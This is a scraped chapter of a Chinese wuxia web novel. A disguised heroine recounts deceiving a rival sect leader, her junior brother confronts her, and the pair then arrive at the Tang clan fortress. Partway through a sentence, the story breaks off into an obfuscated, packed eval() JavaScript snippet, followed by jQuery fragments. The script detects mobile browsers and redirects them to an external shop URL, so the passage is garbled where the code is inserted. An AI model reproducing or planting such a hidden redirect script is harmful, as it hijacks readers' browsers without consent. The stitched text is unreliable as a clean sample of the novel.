默认冷灰
24号文字
方正启体

16.扮猪吃虎

作者:江波波本书字数:K更新时间:
    “一开始是手,你看,真的不一样,但被我胡言乱语蒙混了过去。后来他又要来亲我脖颈,发现我耳朵后面没有红痣,这才确认的。”唐一禾一边伸出手,一边忍不住抱怨,“你说这二人肯定耳鬓厮磨几多回了,我一个假货哪知道,晦气晦气,以后再也不搅合,这男女之事了。”


    高文璟哑然失笑,不再探问,话题一转:“陆曼娘你不用担心,不出意外的话,她这会应该在岷江上了。我的船在长江水道上走过无数回,不会有差池,另外我已经安排人手送他们到扬州,安顿好后自会回来复命。”


    “那真的太好了,烈风那边你接应上了吗?你怎么会想到过来给我解围的?”缓过劲来的唐一禾,开始急吼吼发问。


    “我过来的时候,烈风尚未有消息。”高文璟摆手让唐一禾不用管换下的衣饰,从书案的抽屉里掏出一根翠玉簪子,递了过去,“白术带着陆曼娘先到的,还未下马车,白术就请我来接应你,说见到唐司南过去了。我急忙赶过来,先解决了西南角的盯梢,包围的人太多,费了点时间,还好不算太迟。”


    唐一禾诧异地看着高文璟递过来的玉簪,温润如一汪碧水,晶莹剔透,心知这玩意可不便宜,迟疑着没接。只听高文璟淡淡地说:“你头上的金钗容易露馅儿,也不好看,扔了吧,这跟玉簪你先用着,回头还我便是。”


    对对对,文璟果然心细如发。唐一禾拔下金钗,摒弃了收到怀中的想法,果断扔到桌下的废纸篓里,然后接过玉簪插入发束中:“文璟师兄,那你跟唐司南,抡圆了胳膊打,谁的胜面大一些?”


    “叫我文璟吧。我跟他五五开,不过今晚他心神不定,我一上来又没有留手,开始他就吃了闷亏,之后我又得你帮衬,他应该是受了内伤。”高文璟语调还是淡淡的,“这个玉簪更称你,喜欢的话留着用也行。走吧,别让烈风、白术等太久。”


    二人回到万安药铺的时候,已是子时三刻,果然君白术已经急得地在屋里团团转,见到是唐一禾二人,又伸长脖子往外看:“烈风不听劝阻,非要再去接应,结果你们回来了,他还没回。”


    君白术扯住又要往外跑的唐一禾:“你给我坐下,再出幺蛾子,烈风能把我皮扒了,你不知道他走之前有多可怕。”


    三人坐下开始等唐烈风,高文璟三言两语说清了这边的情况,君白术一边帮二人拿脉,一边开启话痨模式,絮絮地说了码头接应的人有多妥帖,安排的舱房有多舒适,唐烈风拿来的银票匣子有多重,唐烈风知道唐司南去了陆府有多阴沉,他拦不住那头犟驴有多委屈……


    “你是说师弟他拿来了一个银票匣子?”唐一禾惊讶地问,“里面有多少银子,你看了吗?”


    “没来得及打开看,就见烈风把匣子往曼娘怀里一塞,沉得她都快抱不住了。”君白术收回切脉的手,饶有趣味地看向唐一禾,“今晚你可是累坏了,脉象都弱了,倒是没有受伤,快快快,给我详细讲讲,你是怎么成功拖住唐司南的?他那么精明的一个人,足足被你耍了一个多时辰。”


    唐一禾露出嫌腻的神色,吊人胃口地说:“这个故事,值二百两,不不不,五百两。”


    “我给你一千两。”高文璟插话,“唐司南说的话,一个字都不要少。”


    “成交。”唐一禾喜孜孜地将银票揣进兜里,开始仔细回想唐司南自进屋后说的每一个字,等讲到唐司南看到金钗的时候,唐烈风总算一脸阴沉地回来了。


    唐一禾刚站起来,要去询问师弟的情况,就被君白术一把摁住:“你接着讲,我来看他有没有受伤。”


    君白术走过去不由分说,一把抓过唐烈风的手腕将他拖到桌子旁,按在剩余的那张圆凳上,飞快地切了一下脉:“他好得很,你快讲啊,一个字都不要少。”


    唐一禾朝师弟点点头,看到他明显松了一口气的神情后,转头继续开始“说书”,唐烈风从进门到现在,愣是一个字没说出口,就被迫加入了听戏的行列。唐一禾记性极佳,将假陆曼娘与唐司南的对手戏,复述得一字不漏,只是这个经历谈不上美妙。


    唐一禾一边讲一边龇牙咧嘴,表示恶心和肉麻,其他三人脸上的表情也很丰富。君白术与唐一禾的表情神同步,该撇嘴时撇嘴,该皱眉时皱眉,该唾弃时唾弃,当唐一禾讲到最后喊出那句“司南哥哥”时,君神医掐住了自己的虎口,脸上一副便秘的表情,愣是没发出一丝声响,生怕影响了唐一禾的发挥。


    高文璟全程凝神静听,尤其听到唐司南带着炫耀之心,向假陆曼娘讲述的那些生意场上的龌蹉、宗门内部的阴私时,脸上难得露出了慎重之色。


    唐烈风则一直紧锁眉头,脸上像被寒冰封冻,眼神中也透着冷意。


    最后,唐一禾终于讲到高文璟前来接应,然后一摊手、耸耸肩:“就这样咯,之后就是文璟刚说的,他救出我,先去他的住所撤下伪装,然后换成这样就回来了。”


    “我觉得你以后可以去说书。”君白术意犹未尽地说,“自己编自己讲,肯定红遍大江南北。”


    “来吧,付钱,五百两。”唐一禾对君白术伸出手掌。


    “他不是付过了吗?”君白术不肯,指着高文璟说。


    “他是他的价钱,你是你的价钱。”唐一禾的账算得很清。


    “凭什么他的价钱比我贵,我也要出一千两。”君神医的脑回路果然清奇。


    高文璟扶额,心道此子与楚玉有得一拼,果然卧龙凤雏,从不单出。“一禾师妹,你至始至终,都没有用过自己的原声,包括被他点破身份,还是用的陆曼娘的声音吗?”高文璟轻轻叩着桌面问。


    唐一禾点点头:“对呢,明天就是唐门令期限截止,我想着肯定要与唐少阁主正式碰面,还是能不用真声,就不用吧。”唐一禾想了想,接着又说,“白术的易容术如此高超,只要我们不交手,应该是能瞒上一段时间的。倒是文璟你,今晚也跟他动了手,后续怕是有麻烦。”


    “今晚我用的本门功夫,之后再交手,我用唐门心法就是,他认不出来。”高文璟毫不避讳地说,“若出了蜀地,就算他认出我来,又有何妨?”


    “所以我们帮你保守秘密,也是出了蜀地,就不做数了吗?”唐一禾很会抓重点,同时朝君白术看了一眼——现在四人已经算是达成了初步信任,可以不避讳地分享一点秘密了。


    “那是自然。”高文璟不在意地说。


    唐烈风仿佛没听到他们的谈话一般,沉默半晌,突然抬头问了一句:“文璟你赶到的时候,唐司南是已经戴上了他的银色手套了吗?”


    见高文璟点头,唐烈风的眉头皱得更紧:“就是说,他当时并不知道你的存在,就掏出了本门武器,他是动了真火,要至你于死地吗?”最后的问句,当然问的是唐一禾。


    唐一禾觉得后脖颈有点发凉,不敢去看师弟的眼睛,更不敢说当时已经吓得发抖了:“我觉得他可能是恼羞成怒,要吓唬我一下。”


    “那你刚才说的银色手套上的尖刺,是用来吓唬人的,还是觉得好看?”唐烈风的脸色更加不善。


    “那我也没办法啊,我尽力了。”唐一禾有点不服气。


    “你叮嘱我,万事保全自己为上。”唐烈风并没有罢休的意思,“但你是怎么做的?你可以借口去老陆夫人那取点针线,女子出嫁不都要缝点什么东西吗?或者你说要出恭都可以,他总不能跟着你去吧?你真一心要跑,还能跑不出去?”


    唐烈风从来没有一口气说过那么多话,说完后神色激动,胸脯还有点起伏。


    唐一禾自恃师姐身份,觉得有点下面子:“你是说,把人家老陆夫人也拉下水吗?还有,哪个好人出恭要一个时辰?万一唐司南那王八蛋起了疑心,派人追踪又或是搜查码头,我们不就前功尽弃了吗?”


    “你管好你自己的性命,再去担心其他人,行不行?”唐烈风眼角有点泛红。


    眼见同门起了内讧,高文璟非常识趣地告辞,然后君白术非要相送,两人一前一后地跑没了影。


    见只剩下师姐弟二人,唐一禾也不硬气了,马上开始哄这头小犟驴:“师姐错了错了,绝没有下次,我给你看个好东西,全天下我不给第二个人看,刚才他俩在,我就不说。”


    “你不许骗我。”唐烈风虽然还有点生气,但他从小就吃这一套,百试百灵。


    唐一禾摸了摸他的光亮黑发:“顺顺毛,不许生气了。走,回房给你看。”


    唐一禾拽起师弟往厢房里拖,确定左右无人后,才小心翼翼地掏出陆曼娘的临别赠礼——一个正方形的小盒子。她用力打开之后,只见紫色的绒布上躺着一把怪模怪样的钥匙,黑色晶石所制,看着不太结实的样子,四面卡槽,八面棱柱,小小一只,精细无比。


    二人面面相觑,也不知道这是个啥玩意,唐一禾只得小心翼翼地放回,再塞回内兜。然后伸腿捅了捅唐烈风,打了个哈欠问:“白术告诉我,你打算把曼娘二叔那边的人,全杀了,老实交代,你杀了几个?”


    “白术的话你也信,你不是说他是个神经?”唐烈风瞪了唐一禾一眼,“自幼得良师开蒙,不敢伤一人性命。”


    “乖徒乖徒。”唐一禾笑眯眯的说,“那你是如何做的?”


    “厨房准备夕食的时候,往水缸里放了一把迷魂散,掐准时间从堂屋天井翻进去,人基本是齐的,没晕的敲晕,晕了的补脚,然后搜罗了一圈暗格秘橱,倒是真不少,最后找了个趁手的书画匣子,把银票和金条塞了进去,送去给了陆曼娘。”唐烈风又补充了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535536|203360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一句,“珠宝珊瑚如意之类的,打了个包,喏,搁墙角那呢,地契字据之类的要经官府,拿来也无用,直接烧了。”


    唐一禾都听精神了,竖起了大拇指:“乖乖,你很有天分啊,这事儿办得漂亮!给曼娘的银票,你有数吗?”


    “没仔细数,几万两是有的吧,也可能更多。”唐烈风微微抿了下嘴唇,看向唐一禾脑袋顶,“你拿走的不是一根金钗吗?怎么变成了玉簪?”


    “你帮我看看,这个玉簪子是不是很值钱?”唐一禾不答反问,随手将玉簪拔下来,递给师弟看,“从文璟那拿的,他说金钗容易露馅儿。”


    “看着很贵重,改日还给文璟师兄吧。”唐烈风也不懂,虽然感激高文璟救了师姐,但潜意识里还是不想师姐戴他给的饰物。


    “行吧,我也觉得拿人的东西不好。”唐一禾说这话的时候眼皮跳了一下,眼角扫了一下墙角那一大包,确实不好,那也不退。


    两人又头碰头地说了一会话,才各自梳洗睡去,为明日的唐家堡之行养精蓄锐。


    第二日,唐家堡山门外。


    换回女装并认真梳妆打扮一番的唐一禾,带着同样捯饬修整过的唐烈风,并排而立,耐心地等待——二人的令牌和帖子已经递进去了,就等消息了。


    一阵轻巧的脚步声后,山门打开,一名清丽淡雅的女子面带微笑地说:“原来是经部的师妹师弟来了啊,有失远迎,有失远迎。我是代掌门座下弟子,唐丽娟,虚长几岁,你们可以唤我丽娟师姐。师傅他老人家今日要主持唐门令召集大会,不能亲自前来,所以命我务必热情款待,二位请这边走。”


    唐一禾听大师兄提过,代掌门唐至霖亲传弟子九人,大师兄也就是少阁主唐司南,昨晚已经见识过了。二师兄唐方觉是个武痴,沉迷于修炼,不参与任何俗务。三师姐就是唐丽娟了,武功修为既高,人又温和周到,制部上下的师弟师妹无人不喜欢她,甚至连其他几部的人提到她,都是交口称赞。


    今日一见,果然礼仪周到,态度亲切又不过分热忱,给人如沐春风之感。唐一禾又去回想曾经翻过的弟子名牒,代掌门其他的亲传弟子姓名,实在是记不起来一个,只怪从洛川出来得太匆忙,没顾上拿那些名册。唐一禾暗暗提醒自己,一会正式介绍时,务必要认真记了,不然就跟在擂台上那样,连关门弟子唐楚玉站到了眼前,都没有认出来。


    唐丽娟在前面引路,步履轻快,衣诀翻飞,声音也是柔和好听:“二位是刚到罗城吗?”


    “到了几日了,路上耽搁了一点时间,来了又水土不服,身体抱恙,所以未能提前拜会师长。”唐一禾谨慎地回答。


    “那现在师妹身体如何?山中有医者,可请来帮师妹瞧瞧?”唐丽娟伫足回首,秀目中透着关切。


    “已经好多了,不劳师姐费心。”唐一禾报以微笑。


    唐丽娟嗯了一声,继续往前走:“二位也是第一次来唐家堡吧?之前都只见得司雅师兄来去匆匆,至青师伯更是多年未见了。嗯,师伯他老人家的身体,是否调养得康健了?”


    唐一禾心里咯噔一声,心想刺探来得好快,师傅去世本是秘不发丧,山中不过跑了几个哑仆,就已经捂不住了:“师傅已经驾鹤西去了,此番我跟师弟二人过来,也是报丧来着。”


    听到这个消息的代掌门唐至霖,脸上的悲痛不像演的,他声音颤抖地将这个消息公布于众时,还上演了一出猛男落泪。


    当然,大厅中并没有那么多有天赋的演员,上百号唐门各部头脸弟子中,只有不到一半表演了难过,大部分都只是露出惊讶之色,以及发出声声叹息。毕竟经部唐至青阁主缠绵病榻多年,久不露面,又是出了名的桀骜难搞,眼下唐门令在即,在场众人只怕更多的是松了一口气,所以在看向唐一禾二人的眼神中,也多了几分玩味。


    唐门令,顾名思义,就是唐门掌门发出的号令,一般是在唐门遭遇外敌入侵或者其他危机的时候,召集所有唐门弟子共御外敌,共度时艰。还有一种情况,就是宗门无事但掌门有事,这种情况一般是好事,掌门不会轻易发出唐门令,除非是要传承衣钵或有其他安排,回报不用想,必然丰厚无比。


    至于唐门老祖唐川之,那是天人一般的存在,三十年前就已纵横四海、天下无敌,更有传言朱公宝库就是他封的大门,所以应他所令、慕名而来的唐门弟子,有如过江之鲫。


    代掌门唐至霖擦擦眼角早已干涸的泪渍,再次翻看了经部阁主之印,然后对唐一禾和颜悦色地说:“既然至青师兄,已将阁主之位传给一禾师侄,那……”


    “没传给我,只是代阁主,跟您一样。”唐一禾用生硬且天真的语气,打断了代掌门唐至霖,“大师兄回来后,当然他才是阁主。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)